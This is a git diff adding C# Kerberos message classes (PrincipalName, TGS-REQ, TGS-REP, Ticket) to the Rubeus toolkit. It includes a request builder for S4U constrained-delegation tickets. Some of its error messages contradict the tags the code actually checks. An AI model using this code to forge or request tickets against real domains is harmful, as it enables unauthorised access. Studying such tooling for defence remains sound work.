|
||||||
|
//AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq });
|
||||||
|
//final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final);
|
||||||
|
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrincipalName userName { get; set; }
|
||||||
|
|
||||||
|
public string userRealm { get; set; }
|
||||||
|
|
||||||
|
public Checksum cksum { get; set; }
|
||||||
|
|
||||||
|
public string auth_package { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,94 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//PrincipalName::= SEQUENCE {
|
||||||
|
// name-type[0] Int32,
|
||||||
|
// name-string[1] SEQUENCE OF KerberosString
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class PrincipalName
|
||||||
|
{
|
||||||
|
public PrincipalName()
|
||||||
|
{
|
||||||
|
// KRB_NT_PRINCIPAL = 1
|
||||||
|
// means just the name of the principal
|
||||||
|
// KRB_NT_SRV_INST = 2
|
||||||
|
// service and other unique instance (krbtgt)
|
||||||
|
// KRB_NT_ENTERPRISE_PRINCIPAL = 10
|
||||||
|
// user@domain.com
|
||||||
|
|
||||||
|
name_type = 1;
|
||||||
|
|
||||||
|
name_string = new List<string>();
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrincipalName(string principal)
|
||||||
|
{
|
||||||
|
// create with principal
|
||||||
|
name_type = 1;
|
||||||
|
|
||||||
|
name_string = new List<string>();
|
||||||
|
name_string.Add(principal);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrincipalName(AsnElt body)
|
||||||
|
{
|
||||||
|
// KRB_NT_PRINCIPAL = 1
|
||||||
|
// means just the name of the principal
|
||||||
|
// KRB_NT_SRV_INST = 2
|
||||||
|
// service and other unique instance (krbtgt)
|
||||||
|
|
||||||
|
name_type = body.Sub[0].Sub[0].GetInteger();
|
||||||
|
|
||||||
|
int numberOfNames = body.Sub[1].Sub[0].Sub.Length;
|
||||||
|
|
||||||
|
name_string = new List<string>();
|
||||||
|
|
||||||
|
for (int i = 0; i < numberOfNames; i++)
|
||||||
|
{
|
||||||
|
name_string.Add(Encoding.ASCII.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// name-type[0] Int32
|
||||||
|
AsnElt nameTypeElt = AsnElt.MakeInteger(name_type);
|
||||||
|
AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt });
|
||||||
|
nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// name-string[1] SEQUENCE OF KerberosString
|
||||||
|
// add in the name string sequence (one or more)
|
||||||
|
AsnElt[] strings = new AsnElt[name_string.Count];
|
||||||
|
|
||||||
|
for (int i = 0; i < name_string.Count; ++i)
|
||||||
|
{
|
||||||
|
string name = name_string[i];
|
||||||
|
AsnElt nameStringElt = AsnElt.MakeString(AsnElt.IA5String, name);
|
||||||
|
nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt);
|
||||||
|
strings[i] = nameStringElt;
|
||||||
|
}
|
||||||
|
|
||||||
|
AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings);
|
||||||
|
AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } );
|
||||||
|
stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2);
|
||||||
|
|
||||||
|
|
||||||
|
// build the final sequences
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 });
|
||||||
|
|
||||||
|
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
|
||||||
|
|
||||||
|
return seq2;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long name_type { get; set; }
|
||||||
|
|
||||||
|
public List<string> name_string { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,101 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class TGS_REP
|
||||||
|
{
|
||||||
|
//TGS-REP ::= [APPLICATION 13] KDC-REP
|
||||||
|
|
||||||
|
//KDC-REP ::= SEQUENCE {
|
||||||
|
// pvno [0] INTEGER (5),
|
||||||
|
// msg-type [1] INTEGER (13 -- TGS),
|
||||||
|
// padata [2] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
// -- NOTE: not empty --,
|
||||||
|
// crealm [3] Realm,
|
||||||
|
// cname [4] PrincipalName,
|
||||||
|
// ticket [5] Ticket,
|
||||||
|
// enc-part [6] EncryptedData
|
||||||
|
// -- EncTGSRepPart
|
||||||
|
//}
|
||||||
|
|
||||||
|
public TGS_REP(byte[] data)
|
||||||
|
{
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt asn_TGS_REP = AsnElt.Decode(data, false);
|
||||||
|
|
||||||
|
this.Decode(asn_TGS_REP);
|
||||||
|
}
|
||||||
|
|
||||||
|
public TGS_REP(AsnElt asn_TGS_REP)
|
||||||
|
{
|
||||||
|
this.Decode(asn_TGS_REP);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Decode(AsnElt asn_TGS_REP)
|
||||||
|
{
|
||||||
|
// TGS - REP::= [APPLICATION 13] KDC - REP
|
||||||
|
if (asn_TGS_REP.TagValue != 13)
|
||||||
|
{
|
||||||
|
throw new System.Exception("TGS-REP tag value should be 11");
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16))
|
||||||
|
{
|
||||||
|
throw new System.Exception("First TGS-REP sub should be a sequence");
|
||||||
|
}
|
||||||
|
|
||||||
|
// extract the KDC-REP out
|
||||||
|
AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub;
|
||||||
|
|
||||||
|
foreach (AsnElt s in kdc_rep)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
pvno = s.Sub[0].GetInteger();
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
msg_type = s.Sub[0].GetInteger();
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
// sequence of pa-data
|
||||||
|
padata = new PA_DATA(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
cname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
ticket = new Ticket(s.Sub[0].Sub[0]);
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
enc_part = new EncryptedData(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// won't really every need to *create* a TGS reply, so no encode
|
||||||
|
|
||||||
|
public long pvno { get; set; }
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
public PA_DATA padata { get; set; }
|
||||||
|
|
||||||
|
public string crealm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName cname { get; set; }
|
||||||
|
|
||||||
|
public Ticket ticket { get; set; }
|
||||||
|
|
||||||
|
public EncryptedData enc_part { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,144 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//TGS-REQ ::= [APPLICATION 12] KDC-REQ
|
||||||
|
|
||||||
|
//KDC-REQ ::= SEQUENCE {
|
||||||
|
// -- NOTE: first tag is [1], not [0]
|
||||||
|
// pvno [1] INTEGER (5) ,
|
||||||
|
// msg-type [2] INTEGER (12 -- TGS),
|
||||||
|
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
// -- NOTE: not empty --,
|
||||||
|
// in this case, it's an AP-REQ
|
||||||
|
// req-body [4] KDC-REQ-BODY
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class TGS_REQ
|
||||||
|
{
|
||||||
|
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "")
|
||||||
|
{
|
||||||
|
TGS_REQ req = new TGS_REQ();
|
||||||
|
|
||||||
|
// create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
|
||||||
|
PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype);
|
||||||
|
req.padata.Add(padata);
|
||||||
|
|
||||||
|
// set the username
|
||||||
|
req.req_body.cname.name_string.Add(userName);
|
||||||
|
|
||||||
|
// the realm (domain) the user exists in
|
||||||
|
req.req_body.realm = domain;
|
||||||
|
|
||||||
|
if (!String.IsNullOrEmpty(s4uUser))
|
||||||
|
{
|
||||||
|
// constrained delegation yo'
|
||||||
|
PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
|
||||||
|
req.padata.Add(s4upadata);
|
||||||
|
|
||||||
|
req.req_body.sname.name_type = 1;
|
||||||
|
req.req_body.sname.name_string.Add(userName);
|
||||||
|
|
||||||
|
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
|
||||||
|
|
||||||
|
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||||
|
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||||
|
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||||
|
}
|
||||||
|
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// add in our encryption type
|
||||||
|
req.req_body.etypes.Add(etype);
|
||||||
|
|
||||||
|
// KRB_NT_SRV_INST = 2
|
||||||
|
// service and other unique instance (e.g. krbtgt)
|
||||||
|
req.req_body.sname.name_type = 2;
|
||||||
|
req.req_body.sname.name_string.Add(sname);
|
||||||
|
req.req_body.sname.name_string.Add(domain);
|
||||||
|
|
||||||
|
if (renew)
|
||||||
|
{
|
||||||
|
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return req.Encode().Encode();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] NewTGSReq(byte[] kirbi)
|
||||||
|
{
|
||||||
|
// take a supplied .kirbi TGT cred and build a TGS_REQ
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public TGS_REQ()
|
||||||
|
{
|
||||||
|
// default, for creation
|
||||||
|
pvno = 5;
|
||||||
|
|
||||||
|
// msg-type [2] INTEGER (12 -- TGS)
|
||||||
|
msg_type = 12;
|
||||||
|
|
||||||
|
padata = new List<PA_DATA>();
|
||||||
|
|
||||||
|
req_body = new KDCReqBody();
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// pvno [1] INTEGER (5)
|
||||||
|
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
|
||||||
|
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
|
||||||
|
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// msg-type [2] INTEGER (12 -- TGS -- )
|
||||||
|
AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
|
||||||
|
AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
|
||||||
|
msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
List<AsnElt> padatas = new List<AsnElt>();
|
||||||
|
foreach (PA_DATA pa in padata)
|
||||||
|
{
|
||||||
|
padatas.Add(pa.Encode());
|
||||||
|
}
|
||||||
|
AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
|
||||||
|
AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
|
||||||
|
padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
|
||||||
|
|
||||||
|
|
||||||
|
// req-body [4] KDC-REQ-BODY
|
||||||
|
AsnElt req_Body_ASN = req_body.Encode();
|
||||||
|
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
|
||||||
|
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// encode it all into a sequence
|
||||||
|
AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
|
||||||
|
|
||||||
|
// TGS-REQ ::= [APPLICATION 12] KDC-REQ
|
||||||
|
// put it all together and tag it with 10
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
|
||||||
|
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 12, totalSeq);
|
||||||
|
|
||||||
|
return totalSeq;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long pvno { get; set; }
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
public List<PA_DATA> padata { get; set; }
|
||||||
|
|
||||||
|
public KDCReqBody req_body { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,82 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Ticket
|
||||||
|
{
|
||||||
|
//Ticket::= [APPLICATION 1] SEQUENCE {
|
||||||
|
// tkt-vno[0] INTEGER(5),
|
||||||
|
// realm[1] Realm,
|
||||||
|
// sname[2] PrincipalName,
|
||||||
|
// enc-part[3] EncryptedData -- EncTicketPart
|
||||||
|
//}
|
||||||
|
|
||||||
|
public Ticket(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
sname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
enc_part = new EncryptedData(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// tkt-vno [0] INTEGER (5)
|
||||||
|
AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno);
|
||||||
|
AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn });
|
||||||
|
tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// realm [1] Realm
|
||||||
|
AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm);
|
||||||
|
realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
|
||||||
|
AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn);
|
||||||
|
realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// sname [2] PrincipalName
|
||||||
|
AsnElt snameAsn = sname.Encode();
|
||||||
|
snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn);
|
||||||
|
|
||||||
|
|
||||||
|
// enc-part [3] EncryptedData -- EncTicketPart
|
||||||
|
AsnElt enc_partAsn = enc_part.Encode();
|
||||||
|
AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn);
|
||||||
|
enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq);
|
||||||
|
|
||||||
|
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq });
|
||||||
|
AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
|
||||||
|
totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2);
|
||||||
|
|
||||||
|
return totalSeq2;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int tkt_vno { get; set; }
|
||||||
|
|
||||||
|
public string realm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName sname { get; set; }
|
||||||
|
|
||||||
|
public EncryptedData enc_part { get; set; }
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue